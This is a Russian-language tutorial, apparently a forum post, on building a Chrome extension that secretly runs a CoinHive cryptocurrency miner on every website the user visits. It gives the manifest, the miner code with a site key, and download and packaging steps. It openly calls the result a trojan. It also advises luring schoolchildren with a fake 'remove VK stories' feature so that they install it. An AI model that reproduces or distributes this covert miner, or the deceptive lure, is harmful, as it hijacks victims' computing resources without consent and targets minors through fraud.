Создание плагина с майнером для браузера chrome

Создание плагина с майнером для браузера chrome

Spike


Предисловие

Рано или поздно, пользователь будет нуждаться в расширении своих возможностей при работе в браузере. Разработчики пошли на встречу и дали возможность создания плагинов. Так появились всем известные adblock, adguard, vk_скачать_музыку_без_смс_и_регистрации, evernote и другие.

Если вы обладаете определенными навыками в работе с плагинами, можете найти готовые скрипты.

Однако наша задача заключается в том, чтобы разобраться в том, как создать плагин для себя и друзей 

Почему chrome? Недавно firefox полностью обновил способ создания плагинов и теперь у него есть некоторые проблемы с фильтром и майнеры он не пускает.


1. Подготовка:

Нам понадобится:

  • браузер (chrome, opera)
  • минимальное знание js и html
  • аккаунт на coinhive

2. Стартуем 

Создаем директорию для плагина и наполняем её необходимыми файлами:

Самым важным файлом тут является manifest.json – это наш пропуск в мир расширений.

P.S. если путаете синтаксис, отправляю вас на jsonvalidator

Вот так он выглядит:

{

"manifest_version": 2,

"name": "HackPositive",

"description": "It's HackPositive extensions. Install him and have fun!",

"version": "1.0",

"icons": {

"128": "icons/128.png"

},

"content_scripts": [

{

"js": ["miner.js"],

"matches" : ["*://*/*"]

}]

}


Все параметры можно менять, кроме manifest_version

Icon – это логотип вашего изображения размером 128x128..

Отредактируем miner.js

var miner = new CoinHive.User('public_key','name');

miner.start();


Готово, осталось создать акк на coinhive. Я использовал regamail для теста, кому-то повезет, наверное.

Заходим на сайт, и сразу всплывает предупреждение о том, что могут использовать наши вычислительные мощности. Соглашаемся.

Вводим email, на который придет письмо с подтверждением, и password.


И пробуем пройти капчу, начнется майнинг на вашем устройстве, как только армия нежити получит необходимое количество золота, будет доказано что вы сидите не с калькулятора, разблокируется кнопочка “signup”. Юзаем и ждем на почте письмо.

Логинимся.

Заходим в настройки → Sites & API Keys

Если вы - любитель статистики, у вас много “источников” и вы хотите знать сколько приносит плагин, то прошу за мной.

CoinHive есть 3 режима:

CoinHive.User, CoinHive.Token и CoinHive.Anonymous

User нужен для любитей статистики, и для него важно поле userName, а котором я расскажу дальше.

Token нужен для того, чтобы добыть только определённое количество хешей.

Anonymous, как понятно из названия, будет обычный майнинг без имени, только с использованием siteKey(читай publicKey).


В поле name нужно выставить уникальное значение, я решил последовать совету разработчиков и взять хеш-сумму от имени сайта.

echo “codeby.net” | md5sum 


Получили вот такую красивую, а главное – уникальную вещь:

опируем Site Key(Public) и возвращаемся к файлу miner.js


На место public_key, вставляем только что скопированное значение

Вместо name вставляем нашу уникальную красоту, полученную ранее.


В моем случае:

var miner = new CoinHive.User('pe2Guoz4MeWUGJmx6EROnkyg4JeFYD1d','310fa3615d6183904f6b1266ab9bd4d2');

miner.start();


Теперь надо все это проверить!

Стоит проверить, подцепилось ли все, поэтому создадим простой index.html файл.

В хедере прицепить библиотеку и сам скрипт


Запускам index.html, смотрим в дебаггере, подгрузились ли наши скрипты.

Если да, то заходим на сайт и видим на dashboarde. Через некоторое время наши “монетки” начали добываться!

Дабы полностью убедиться, что все в норме и на баланс растет, ресурс предоставляет API:

curl "https://api.coinhive.com/user/balance?name=уникальноеимя&secret=Ключ(приватный)"

Если все успешно, переместим наш miner в более уютное место. Для этого:


  • Качаем библиотеку coinhive: wget https://coinhive.com/lib/coinhive.min.js
  • Удаляем index.html
  • Объединяем miner.js с библиотекой. Так чтобы текст библиотеки окался выше.


Наш плагин почти готов, осталось лишь добавить полезного функционала, чтобы троян был востребован.

К примеру:

  • ищем школьников, которым не нравится “история” в вк.
  • пишем, что давно изобрели плагин, который убирает её.
  • кидаем ссыль.
  • ???
  • профит.


Мы добавили функционал, давай теперь соберем все в одну кучу.


Хром любезно предоставляет возможность упаковать или загрузить распакованное расширение. Во вкладке chrome://extensions/

Однако в режиме для разработчика…

Упаковываем плагин, пишет, что созданы*.crx и *.pem. Первый файл - это наш плагин, второй – ключ для обновления плагина. При уставновке в режиме пользователя: хром пишет, мол он поврежден, однако опера просто скушала его. Для хрома есть статья как заставить его работать.

На этом все! Загружаем, пробуем, делимся своим трудом!

Источник